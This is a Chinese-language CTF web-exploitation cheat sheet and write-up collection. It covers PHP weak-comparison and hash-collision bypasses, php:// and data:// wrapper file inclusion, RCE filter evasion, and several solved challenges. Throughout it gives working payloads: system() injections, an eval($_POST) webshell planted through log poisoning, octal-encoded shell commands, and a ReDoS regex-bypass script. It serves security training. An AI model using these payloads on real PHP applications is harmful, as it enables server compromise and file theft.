    'User-Agent' => 'Mozilla/5.0',
    'Host' => 'example.com'
    ]
  3. pos() 获取反转后数组的第一个元素,即 '<?php phpinfo(); ?>'

  4. eval() 尝试执行这个字符串作为 PHP 代码。如果字符串是有效的 PHP 代码,它会被执行。

highlight_file()

highlight_file用于将一个文件的内容作为HTML语法高亮显示。它会显示文件的源代码,其中每个元素使用HTML标记进行语法高亮

比较

php 弱类型总结 - Mrsm1th - 博客园

CTF-WEB:PHP 弱类型 - 乌漆WhiteMoon - 博客园

php中有两种比较

1
2
a == b
a === b

两个等于在比较的时候,会将字符串类型转化成相同的再比较

比如:

1
2
a = 123
b = '123a'

这两个其实是相等的,这在绕过检测中是非常重要的

比如让判断 a == 123,但又规定a不允许为数字,就可以利用弱比较来绕过

还有一些:

1
2
3
4
5
6
7
8
9
<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true 因为直接转化成1
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
?>

//"0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等

对于数字这一块,如果要求 a > 10000,但是又要求a不能超过四位数,就可以用科学计数法来绕过

比如给个 a = 1e6就可以了

例题:

1
2
3
4
5
6
7
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

直接传 num = 1abc 即可

MD5弱比较

MD5 信息摘要算法是一种被广泛使用的密码散列函数,可以产生出一个 128 位(16字节)的散列值用于确保信息传输完整一致。而 PHP 在处理哈希字符串时,“0e” 开头的值利用 “==” 判断相等时会被视为 0。所以如果两个不同的密码经过哈希以后,其哈希值都是以 ”0E” 开头的,那么 PHP 将会认为他们相同,这就是所谓的 MD5 碰撞漏洞

因为当hash开头为0e后全为数字的话,进行比较时就会将其当做科学计数法来计算,用计算出的结果来进行比较

1
2
md5($str1)=0e420233178946742799316739797882
md5($str2) == '0' //true

这里给出以下两段字符串,用于绕过MD5的弱比较,

常见形式:md5($a) == md5($b) && $a !== $b

1
2
3
4
5
s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

MD5强碰撞

遇到 md5($_GET[‘username’]) === md5($_GET[‘password’])

你让

1
2
a[] = 1
b[] = 1

因为hash解析不了数组,会直接返回NULL,这样两边都是NULL,也是能返回true的

string转换后的md5强比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (md5($a1) === md5($a2)){
echo $level3;
}
else{
die("level 2 failed ...");
}

}
else{
show_source(__FILE__);
}
?>

array1[]=1&array2[]=2本来觉得数组绕过就可以可是,发现输出了????

原因是php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去

所以我们需要一个,md5前不相等,而md5后全等的

1
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

SHA1强碰撞

1
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

直接上这个就可以,记得改一下变量名字

要求MD5和SHA1分别相等

1
2
3
4
5
6
7
a = 1
b = '1'

或者

a = 0
b = 0E1

Error类

1
$c->a=new Error("a",1);$c->b=new Error("a",2)

[BUUCTF在线评测](https://buuoj.cn/challenges#[极客大挑战 2020]Greatphp)

URL二次编码绕过

题目的源码如下,首先题目需要输入变量 id,且变量 id 不能包含字符串 “hackerDJ”。接着使用 urldecode() 函数进行 url 解码,需要令解码后的字符串等于 “hackerDJ”

1
2
3
4
5
6
7
8
9
10
11
Copy Highlighter-hljs<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ"){
echo "Access granted!";
echo "flag";
}
?>

在 URL 编辑框中可以使用 URL-encode 来替代字符,例如 “h” 的 URL 编码是 “%68”,此时输入 “%68ackerDJ” 等同于输入 “hackerDJ”。由于源码会使用 urldecode() 函数进行 url 解码,因此可以对 “%68ackerDJ” 进行 url 编码,让传入的字符串通过第一个条件语句,在解码之后通过第二个分支语句。所以提交的 payload 应该是 “%68ackerDJ” 的 URL 编码

1
?id = %2568ackerDJ

数组绕过正则匹配

PHP中正则函数(如preg_match())会将数组参数转换为字符串“Array”,这使得数组可绕过正则匹配

1
2
3
4
5
6
7
<?php
if (preg_match('/^[a-zA-Z]+$/', $_GET['input'])) {
echo "Valid input";
} else {
echo "Invalid input";
}
?>

构造payload:

1
?input[]=test

preg_match()将其转为字符串“Array”,从而绕过正则检测

extract覆盖漏洞

extract()函数用于将数组元素导入当前符号表,若数组由外部输入控制,可能导致变量覆盖

原因extract()未对输入数组进行充分过滤,攻击者可构造恶意数组覆盖现有变量

应用:在代码中使用extract()处理外部可控数组时,攻击者可覆盖关键变量,改变程序逻辑

示例代码

1
2
3
4
5
<?php
$a = 'original';
extract($_GET['data']);
echo $a;
?>

构造payload

1
?data[]=a&data[]=hacked

这样,extract()data数组元素导入符号表,覆盖了变量$a,使其变为“hacked”

数组绕过strcmp比较

strcmp()函数比较两个字符串,若参数类型不同会进行类型转换,数组转为NULL,比较时NULL与空字符串视为相等

1
2
3
4
5
6
7
<?php
if (strcmp($_GET['input'], 'secret') === 0) {
echo "Access granted";
} else {
echo "Access denied";
}
?>

构造payload:

1
?input[]=secret

$_GET['input']是数组,strcmp()将其转为NULL,与空字符串比较返回0,导致验证被绕过

PHP伪协议

img

data伪协议

data://[<MIME-type>][;charset=][;base64],<data>

  • MIME-type:指定数据的类型,默认是 text/plain。
  • charset:指定数据的编码类型,如 utf-8。
  • base64:如果使用 Base64 编码,则加上该标识。
  • data:实际的数据内容。

text/plain 的具体含义

text/plain MIME 类型:

  1. 表示数据是普通文本文件,没有任何特定的格式或编码。
  2. 在 PHP 的文件包含漏洞中,当使用 data://text/plain 时,PHP 会将数据视为纯文本进行读取。
  3. 但是,如果该文本数据本身是 PHP 代码(如 <?php system('ls'); ?>),且它被 include()、require() 等函数加载,那么它会被当作 PHP 代码解析和执行。

data://text/plain 的实际作用

在 LFI 漏洞中使用 data://text/plain 可以让我们通过 URL 注入 PHP 代码,并且这些代码会在服务器端执行。

示例:执行系统命令

URL:

?file=data://text/plain,<?php system('ls'); ?>

解释:

  • data:// 告诉 PHP 加载内联数据。
  • text/plain 表示数据是纯文本类型,但在通过 include() 加载时,PHP 会解析文本中的代码片段(如 <?php system('ls'); ?>),并将其执行。

php://filter

1
2
3
?file=php://filter/read=convert.base64-encode/resource=flag.php

?file=php://filter/convert.base64-encode/index/resource=flag(.php)有时候不需要括号

或者可以用UTF-7

1
2
3
4
5
6
7
8
9
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

<?php
$a = "+ADw?php +ACQ-flag+AD0'cyberpeace+AHs-79013c3265f804bbbd60aedc255313f3+AH0'+ADs";

// 这里的a放回显出来的内容

$b = iconv("UTF-7,"UTF-8",$a);
echo($b);

php://input

1
2
3
4
5
?a=include$_GET[x]&x=php://input

POST:
<?php system("ls -lah")?>
//<?php system("tac flag.php")?>

RCE

RCE(远程代码执行漏洞)函数&命令&绕过总结 - 星海河 - 博客园

以一道CTF题目看无参数RCE - 泠涯 - 博客园

CTF中的RCE绕过-腾讯云开发者社区-腾讯云

概念

RCE,即远程代码执行(Remote Code Execution),远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval

RCE命令注入分类

  • 无过滤
  • 过滤cat
  • 过滤空格
  • 过滤目录分隔符
  • 过滤运算符
  • 综合过滤练习

RCE绕过指南

命令绕过

命令执行函数:

1
2
3
4
5
6
7
system()               输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上//替换system
echo+`` ?c=echo `tac flag.php`;
shell_exec()
popen()/proc_open()
print(`cat /flag`)

输出函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ls      列出目录并输出
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
nl 类似于cat -n,显示时输出行号
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
sort 文件内容进行行间的排序并输出文本 sort flag.php
vim 一种编辑器,这个也可以查看
od 以二进制的方式读取档案内容
vi 一种编辑器 vi flag.php
strings 在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
paste 把每个文件以列对列的方式,一列列地加以合并
grep 查询文件中包含某个特定字符串的行并输出 grep 'fla' flag.php
sed 一种编辑器,可以用sed -f flag.php读取flag (sed也可以用来删除特定字符)
rev 反转
uniq 删除文件重复行并输出剩余内容,可以用于文件读取。与cat一样,结果在源代码
base64 可以读取flag.php并编码后输出 (/bin/base64)base64 flag.php
mv 对文件进行重命名,通过修改后缀名为txt,可以直接在网页中访问txt文件 mv f?lg.php a.txt
cp 将flag的内容复制到1.txt上,然后访问/1.txt文件读取 cp flag.php 1.txt
awk awk '{print}' /fla* 打印`/` 目录下所有以 `fla` 开头的文件中的每一行内容
assert assert(eval($_POST[%27x%27]));

空格绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
${IFS}

/**/

$IFS$9 比如 tac$IFS$9flag.php

%20

%09

<>

<

_

-

%a0

等号绕过

like

_ 绕过

另外在解析中例如,e_v.a.l中的_会变成 e.v.a.l,这时就需要给改成 e[v.a.l

[ 或者是 + \x5f

八进制绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

知识点:linux中使用$’xxx’(xxx为字符的八进制)的形式可以执行任意代码

1
$'\154\163' //执行ls

发现可以成功执行

但是八进制的执行方法不能执行带有参数的linux命令,如cat /flag(/flag为参数)或ls -la(-la为参数)

重定向符号可以代替命令中的空格

最终payload

1
$'\143\141\164'<$'\57\146\154\141\147' // cat</flag

编码脚本:

1
2
3
4
5
6
7
8
def encode_to_octal(input_string):
# 将每个字符转换为其ASCII码的八进制表示
return ''.join(f'\\{oct(ord(c))[2:]}' for c in input_string)

# 测试
input_string = "cat"
encoded_string = encode_to_octal(input_string)
print(f"Encoded: {encoded_string}")

解码脚本:

1
2
3
4
5
6
7
8
9
10
11
def decode_from_octal(octal_string):
# 分割八进制字符串,并将每个八进制值转换为字符
characters = octal_string.split('\\')[1:] # 去掉空字符串部分
decoded_string = ''.join(chr(int(oct(c), 8)) for c in characters)
return decoded_string

# 测试
octal_string = "\\143\\141\\164"
decoded_string = decode_from_octal(octal_string)
print(f"Decoded: {decoded_string}")

/ 绕过

就是让你无法穿越目录

可利用 ; 拼接命令绕过

cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd

# 绕过

--+ %23

换行符绕过

对于?s正则匹配单行模式下,默认 . 不匹配换行符,可以绕过

%0a

. 绕过

[]

* 通配符绕过

tac /f* 表示输出以 f 开头的文件里的内容

‘ ‘ 空字符匹配绕过

fl''ag = flag

\ 匹配绕过

?c=system("tac fl\ag.php")

\转义字符,通常用于转义后面的字符,fl\ag.php 会被解释为 flag.php

? 占位绕过

?c=system("tac f???????")

? 被用作通配符,代表 任何单个字符

在 Linux 中,f??????? 可以匹配任何以 f 开头并包含 7 个任意字符的文件名

flag绕过

f???

f""lag

f/lag

f''lag

cmd=echo file_get_contents("/fla"."g");

URL编码绕过

就是例如 ; 被过滤了,就可以进行URL编码

其他特殊字符也同理

php绕过

<?=

<%

<?echo ?>(命令放在里面)

and绕过

&&

全部字母绕过

全角半角转换工具_蛙蛙工具

其中 111 115 分别对应 os 的 ASCII 码,99 97 116 32 47 102 108 97 103 分别对应 cat /flag 的 ASCII 码

1
__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

传参绕过

eval函数

1
2
?c=eval($_GET[x]);&x=system("ls");
?c=eval($_GET[x]);&x=system("tac flag.php");

include函数

1
?c=include($_GET[x]);&x=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php

如果(;被过滤:
%0a 是 URL 编码中表示换行符(\n)的字符。从而使得 include 语句和 $_GET[1] 的处理被分开,从而绕过过滤机制,不过include函数这里不加(也是可以的
php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号

1
2
?c=include%0a$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
?c=include$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php

日志包含

既然能够执行文件包含,那么也可以包含日志文件,日志文件中会记录你的UA头,假设我们在UA头中写入后门代码,然后我们包含日志文件,那么就能通过后门代码读取文件

1
2
3
?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log  

User-Agent:<?php eval($_POST['x']);?>

session_start()

1
2
3
?c = session_id(session_start());

Cookies:PHPSESSID=????

并在cookies中传入你需要执行的命令

变量挟持绕过

1
2
3
?c=eval(array_pop(next(get_defined_vars())));

POST传入: 1=system('tac fl*');
  • get_defined_vars()
    获取当前作用域中所有定义的变量,返回一个数组,键是变量名,值是对应的变量值
  • next(get_defined_vars())
    将指针移动到数组中的下一个元素,并返回该元素的值。在这里,指针操作的对象是由 get_defined_vars() 返回的数组
  • array_pop(...)
    弹出数组的最后一个元素。这里作用在 next(get_defined_vars()) 的结果上,获取这个数组的最后一个变量值

文件枚举绕过

  • getcwd() 函数返回当前工作目录的路径
  • scandir() 函数列出指定目录中的所有文件和目录,并返回一个包含文件和目录名称的数组
  • **show_source() **函数用于显示一个 PHP 文件的源代码
  • **localeconv()**返回一个包含本地数字及货币格式信息的数组,该数组的第一项就是’.’

这里的[2]要多尝试,flag文件的位置不一定会在第2位

1
?c=show_source(scandir(getcwd())[2]);

文件读取绕过

这个函数拼接实际上是上面的复杂版,适用于[]被过滤的情况,不能直接遍历scandir数组,只能使用指针操作来获取特定文件,由于前两个文件是...,因此用array_reverse函数从最后一个文件开始。由于指针操作函数的作用是返回值而非地址,因此不能嵌套使用,利用这种方式只能读取很有限的几个文件

1
2
3
4
读取最后一个文件
?c=show_source(current(array_reverse(scandir(getcwd()))));
读取倒数第二个元素
?c=show_source(next(array_reverse(scandir(getcwd()))));

还可以用另一个函数得到目录

1
2
?c=echo highlight_file(current(array_reverse(scandir(pos(localeconv())))));
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

目录穿越绕过

1
2
3
4
5
c=print_r(scandir(dirname(__FILE__)));  // 读取当前目录
c=print_r(scandir(dirname(__DIR__))); // 读取上级目录
c=print_r(scandir(dirname(dirname(__FILE__))));//读取上级目录
c=print_r(scandir(dirname(dirname(__DIR__))));//读取上上级目录
c=print_r(scandir(dirname(dirname(dirname(dirname(__DIR__))))));
  • dirname() 用于获取路径的目录部分。dirname('FILE');返回 ‘.’
  • scandir() 列出指定目录中的文件和目录,返回一个数组
  • print_r() 输出变量的易读信息,适合用于调试和查看数组内容
  • __FILE__ __DIR__是php中的魔术方法,可以用于获取当前目录与上级目录,通过迭代dirname函数就能实现目录遍历
    输出:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

读取文件绕过

1
hightlight_file("flag.php")

或者可以写文件<?php highlight_file("var/www/html/includes/flag.php");?>

这点在PYCC的初赛中有所体现

相似的还有

show_source()

readgzfile()

require_once()


例题1-无过滤简单命令拼接

CTFHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}

?>
<?php
if ($res) {
print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

就是个简单的命令拼接(127.0.0.1;ls)

Shell 提供了多种方式来分隔命令,分号就是其中一种。它的作用是告诉 Shell,将分号前后的命令依次执行,而不考虑前一条命令是否执行成功 。例如,在命令 “ping -c 4 127.0.0.1;ls /” 中,Shell 先执行 “ping -c 4 127.0.0.1” 命令,不管这个命令是成功(返回 0)还是失败(返回非 0 值),都会接着执行 “ls /” 命令

  • Enter(换行符)
  • && 前一条命令执行成功(返回值为 0)时,才会执行后一条命令
  • 双管道符(||)前一条命令执行失败(返回值非 0)时,才会执行后一条命令
  • 管道符(|) 将前一条命令的输出作为后一条命令的输入
1
ls / | grep "txt"  # 列出根目录下包含 "txt" 的文件
  • 尖括号( < 和 > )

    特点

  • >:将命令输出重定向到文件(覆盖)。

  • >>:将命令输出追加到文件。

  • <:将文件内容作为命令的输入。

  • E.G:

    1
    2
    ls / > output.txt  # 将 ls 的输出保存到 output.txt
    sort < input.txt # 将 input.txt 的内容作为 sort 的输入

例题2-结合php & 过滤命令

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!C!E!) R!C!E!

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}

直接脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib

prefix = "c4d038" # 目标MD5值的前六位
prefix_bytes = prefix.encode() # 将前缀转换为字节串

for i in range(100000000):
b = i.to_bytes(22, 'big')
m = hashlib.md5(str(i).encode()).hexdigest()

if m.startswith(prefix):
print(i)
print(m)
break

#114514

payload:

1
password=114514&e[v.a.l=echo(`nl /f*`);

BUUCTF在线评测 RCEService

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

putenv('PATH=/home/rceservice/jail'); // 限定了环境变量在这个目录下

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>

?cmd=%0a%0a{"cmd":"/bin/cat%20/home/rceservice/flag"}%0a%0a

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of PHP) Begin of PHP

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

先看Level1

关于MD5强比较,直接数组绕过即可:

1
?key1[]=1&key2[]=2

再看Level2

这里的sha1()函数也是无法处理数组,会返回NULL值,因此严格等于左右相等

所以也直接数组绕过:

1
key3[]=3

看Level4

比较两个字符串,如果字符串1与字符串2相等,则返回0,如果字符串1大于字符串2则返回值大于0,如果字符串1小于字符串2则返回值小于0。但是,strcmp()依然无法操作数组,会返回NULL:

1
?key1[]=1&key2[]=2&key4[]=4

看Level5

1
key5[]=2024

最后:

在这里a-z,A-Z,0-9全被过滤了,就要用非字母和数字的方式将其绕过,用POST方式传递

1
flag5=.

CMCTF - CM::CTF 函数重生版

(不当人)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
if(isset($_GET['i'])){
switch(strtolower(substr($_GET['i'],0,6))){
default:
if(!preg_match('/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\:|\]|\[|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|\ssh/i',$_GET['i'])){
eval($_GET['i']);
}else{
die('error');
}break;
}
}

这里没过滤大括号和单引号,可以采用一个{}来代替[],然后参数逃逸一下

1
?i=eval($_GET{%27a%27});&a=assert(eval($_POST[%27x%27]));

可以直接蚁剑连

2025H&NCTF - 2025H&N::CTF Really_Ez_Rce

(更不当人)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];

if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}

if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";

if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];

if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "你传的参数似乎挺正经的,放你过去吧<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}

这个Number简单,直接给个数组就绕过了,Number[]=a,重点是这个正则

没过滤$,直接参数拼接

1
2
3
Number[]=a&cmd=b=l;c=s;d=/;$b$c%20$d;

Number[]=a&cmd=b=bas;c=e64;a=s;c=h;echo%2Y2F0IGZsYWcudHh0|$b$c%20-d|$a$c

[BUUCTF在线评测](https://buuoj.cn/challenges#[红明谷CTF 2021]write_shell) Write_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

php标签的php被过滤,可以换用短标签<?= code?>?>对于一组PHP代码中最后一句起到替代;

payload:

1
?action=upload&data=<?echo%09`ls%09/`?>

因为题目中过滤了php,所以用php短标签来绕过<?= ?>等效于<?echo ?>

1
$_SERVER['REMOTE_ADDR'];

输出访问者的IP地址

回溯限制

[NISACTF 2022]middlerce | NSSCTF

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>
  • . 匹配任意一个字符(除换行符 \n 外,除非启用 s 模式)
  • * 表示前面的字符(或组)重复 0 次或多次

这两个加起来就导致了 .* 将会一直匹配到最后字符串的最后,然后轮到下一个字符

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit : 1000000

当回溯次数超过100万次时,preg_match返回的就是false,表示此次实行失败(超出限制)

所以我们可以通过发送超长字符串来使正则执行失败,绕过对php的限制

1
2
3
4
5
import requests
url = 'http://node4.anna.nssctf.cn:28058/'
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)

无回显RCE

利用http标头

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!C!!E!!) R!!C!!E!!

扫目录+python GitHack.py URL

看到源码:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

这里可以用上文提到的scandir组合拳去做,但是发现没有什么效果,这里就可以用查看请求头的方法:

1
?star=print_r(getallheaders());

然后选择命令加在UA上

1
?star=eval(next(getallheaders()));

只允许用特殊字符

[安洵杯 2020]BASH | NSSCTF

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
$test = $_POST['cmd'];
$white_list = str_split('${#}\\(<)\'0');
$char_list = str_split($test);
foreach($char_list as $c){
if(!in_array($c,$white_list)){
die("Cyzcc");
}
}
exec($test);
}
?>

